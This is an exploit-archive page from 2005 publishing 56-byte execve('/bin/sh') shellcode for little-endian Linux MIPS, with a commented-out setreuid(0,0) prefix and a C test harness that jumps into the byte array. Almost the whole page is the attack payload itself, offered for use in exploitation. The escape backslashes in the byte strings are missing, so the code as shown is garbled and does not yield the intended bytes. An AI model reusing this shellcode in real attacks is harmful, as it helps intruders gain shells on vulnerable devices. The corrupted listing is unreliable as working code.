[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/mips execve /bin/sh 56 bytes
# Published : 2005-11-09
# Author : Charles Stevenson
# Previous Title : os-x/PPC/x86 execve("/bin/sh",{"/bin/sh",NULL},NULL) 121 bytes
# Next Title : linux/ppc execve /bin/sh 60 bytes
/* 56 bytes execve /bin/sh shellcode - linux-mipsel
* - by core (core@bokeoa.com)
*
* Note: For MIPS running in little-endian mode.
* Tested on a Cobalt Qube2 server running Linux 2.4.18
*
* Greetz to bighawk... i couldn't get his execve to work
* for some reason :/
*/
char code[] =
/* 16 byte setreuid(0,0) by bighawk */
//"xffxffx04x30xffxffx05x30"
//"xe6x0fx02x34xccx48x49x03"
/* 56 byte execve("/bin/sh",["/bin/sh"],[]) by core */
"xffxffx10x04xabx0fx02x24"
"x55xf0x46x20x66x06xffx23"
"xc2xf9xecx23x66x06xbdx23"
"x9axf9xacxafx9exf9xa6xaf"
"x9axf9xbdx23x21x20x80x01"
"x21x28xa0x03xccxcdx44x03"
"/bin/sh";
main() {
void (*a)() = (void *)code;
printf("size: %d bytesn", sizeof(code));
a();
}
// www.Syue.com [2005-11-09]